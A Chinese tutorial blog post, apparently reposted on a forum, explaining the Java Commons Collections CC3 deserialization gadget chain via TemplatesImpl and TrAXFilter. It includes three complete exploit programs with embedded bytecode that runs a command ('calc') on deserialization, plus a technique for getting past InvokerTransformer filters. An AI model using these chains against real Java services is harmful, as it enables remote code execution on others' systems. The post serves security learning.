北冰洋以北 发表于 2024-10-15 02:25:10

[Java安全入门]六.CC3

一.前言

前几天学了一下cc1和cc6,对于我来说有点小困难,不外经过几天沉淀,如今也是如拨开云雾见彼苍,经过一上午的复习对cc1和cc6又有深入的了解。所以,今天想多学一下cc3。cc3实行命令的方式与cc1和cc6不一样,不是通过ChainedTransformer来实行,而是通过动态加载类实行。
二.动态类加载机制

在JVM中,我们写的java源码被编译成.class字节码文件,然后由类加载器将class文件加载到JVM中实行。
三层加载器
   Bootstrap classLoader:启动类加载器,重要负责加载焦点的类库(java.lang.*等),构造 ExtClassLoader 和 APPClassLoader。
ExtClassLoader:拓展类加载器,重要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。
AppClassLoader:应用程序类加载器,重要负责加载应用程序的主函数类
先用ClassLoader类内里的loadClass方法从已加载的类缓存、父加载器等位置寻找类(这里现实上是双亲委派机制),在前面没有找到的情况下,就会交给ClassLoader类中 findClass方法;然后findClass方法根据底子路径指定的方式来加载类的字节码,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后将字节码交给 defineClass
   双亲委派机制 当一个Hello.class这样的文件要被加载时,不考虑我们自定义类加载器。起首会在 AppClassLoader 中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的 loadClass 方法。父类中同理也会先检查本身是否已经加载过,如果没有再往上。留意这个类似递归的过程,直到到达 Bootstrap ClassLoader 之前,都是在检查是否加载过,并不会选择本身去加载。直到 Bootstrap ClassLoader ,已经没有父加载器了,这时候开始考虑本身是否能加载了,如果本身无法加载,会下沉到子加载器去加载,不停到最底层,如果没有任何加载器能加载,就会抛出 ClassNotFoundException。
所以我们就可以通过defineClass来动态加载一个类,由于ClassLoader.defineClass是protected,无法在外部直接访问,所以可以通过反射调用。
protected final Class<?> defineClass(byte[] b, int off, int len)
      throws ClassFormatError
    {
      return defineClass(null, b, off, len, null);
    }//protected属性 public class Main {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
      Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
      defineClass.setAccessible(true);
      byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
      System.out.println(code);
      Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), null, code, 0, code.length);
      hello.newInstance();

    }
}
//字节流实现类函数 实现cc3需要找到一个重写了defineClass的类。
三.实现链

在TemplatesImpl类中重写了defineClass方法而且方法是fault类型,可以被外部访问
static final class TransletClassLoader extends ClassLoader {
      private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
      }

      TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
      }

      public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

      /**
         * Access to final protected superclass member from outer class.
         */
      Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
      }
    } 但是TransletClassLoader是内部类,无法直接构造,所以需要找到一个非内部方法而且调用了这类,正幸亏TemplatesImpl类的defineTransletClasses方法中构造了TransletClassLoader
TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

      try {
            final int classCount = _bytecodes.length;
            _class = new Class;

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class = loader.defineClass(_bytecodes);
                final Class superClass = _class.getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                  _transletIndex = i;
                }
                else {
                  _auxClasses.put(_class.getName(), _class);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
      }
      catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
      catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
    } 该方法中通过for循环依次加载字节码_bytecodes中的内容赋值给Class数组_class
继承找调用defineTransletClasses方法的方法,在TemplatesImpl类的getTransletInstance方法中调用了 defineTransletClasses,更好的是内里由newInstance直接实例化类,就能完成命令实行了。
private Translet getTransletInstance()
      throws TransformerConfigurationException {
      try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class.newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
      }
      catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
      catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
    } 但getTransletInstance方法也是private属性,继承向上找,newTransformer方法调用了getTransletInstance方法,而且是public属性
public synchronized Transformer newTransformer()
      throws TransformerConfigurationException
    {
      TransformerImpl transformer;

      transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

      if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
      }

      if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
      }
      return transformer;
    } 所以如今就可以构造cc3
TemplatesImpl.newTransformer--->TemplatesImpl.getTransletInstance--->TemplatesImpl. defineTransletClasses--->TemplatesImpl.TransletClassLoader.defineClass

cc3还是挺丝滑的。

四.最终exp


Transformed版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
    }
    public static void main(String[] args) throws Exception {
      byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
      TemplatesImpl templatesImpl = new TemplatesImpl();

      setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
      setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组

      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})      //反射一个实例化对象并返回
      };

      ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链
      Map<Object,Object> map = new HashMap<>();
      map.put("value","test");//与cc1类似
      Map transformedMap= TransformedMap.decorate(map, null, chain);
      //反射调用AnnotationInvocationHandler类
      Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
      constructor.setAccessible(true);
      Object obj = constructor.newInstance(Target.class,transformedMap);


      ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
      out.writeObject(obj);
      //序列化

      ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
      in.readObject();
      //反序列化

    }
} LazyMap版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
    }
    public static void main(String[] args) throws Exception {
      byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
      TemplatesImpl templatesImpl = new TemplatesImpl();

      setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
      setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组
      org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})      //反射一个实例化对象并返回
      };

      ChainedTransformer chain = new ChainedTransformer(transformers); //触发利用链

      Map<Object, Object> hashMap = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chain);
      Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazymap);//注解随便传,反射实例化AnnotationInvocationHandler
      Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//要触发invoke所以要动态代理
      Object obj=constructor.newInstance(Target.class,proxy);
      /* AnnotationInvocationHandler.readObject.entrySet->动态代理AnnotationInvocationHandler.invoke->Lazymap.get->chainedtransformer.transform*/
      ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
      out.writeObject(obj);
      //序列化

      ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
      in.readObject();
      //反序列化


    }
} cc6版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value); //因为属性都是私有属性,所以通过反射赋值
    }
    public static void main(String[] args) throws Exception {

      byte[] bytes = Base64.getDecoder().decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
      TemplatesImpl templatesImpl = new TemplatesImpl();

      setFieldValue(templatesImpl, "_name", "Ta0"); //_name 赋值为TestTemplatesImpl
      setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});//_bytecodes赋值为字节数组

      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), //调用传入类的newTransformer()方法正好是TemplatesImpl链里面的第一步

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})      //反射一个实例化对象并返回
      };

      ChainedTransformer chain=new ChainedTransformer(transformers);
      Map<Object, Object> hashMap = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(hashMap,new ConstantFactory(0));
      TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"tao");
      HashMap<Object,Object> hashMap1=new HashMap<>();
      hashMap1.put(tiedMapEntry,"456");//put会直接执行命令,所以先将lazyMap改成没用的东西
      lazymap.remove("tao");

      Class clz=LazyMap.class;
      Field field=clz.getDeclaredField("factory");
      field.setAccessible(true);
      field.set(lazymap,chain);

      ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
      out.writeObject(hashMap1);
      //序列化

      ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
      in.readObject();
      //反序列化


    }
} 留意
transformers的两种写法

第一种

通例的利用InvokerTransformer来实现transformed链,先传入templatesImpl,然后调用它的newTransformer方法
Transformer [] transformers = new Transformer[]{new ConstantTransformer(templatesImpl),new InvokerTransformer("newTransformer",null,null)}; 第二种

有些情况下会过滤掉InvokerTransformer,所以使用TrAXFilter+InstantiateTransformer,也就是我上面的三种exp的写法
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),

                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})      
      }; 这里是传入TrAXFilter类,然后由它作为object在传入InstantiateTransformer的transform方法
public Object transform(Object input) {
      try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                  "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

      } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
      } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
      } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
      } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
      }
    } 在InstantiateTransformer的tranform方法内里会生成传入object的构造器然后生成一个实例,而TrAXFilter的构造器内里恰好有newTransformer方法,非常奇妙
public TrAXFilter(Templates templates)throws
      TransformerConfigurationException
    {
      _templates = templates;
      _transformer = (TransformerImpl) templates.newTransformer();
      _transformerHandler = new TransformerHandlerImpl(_transformer);
      _useServicesMechanism = _transformer.useServicesMechnism();
    }

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: [Java安全入门]六.CC3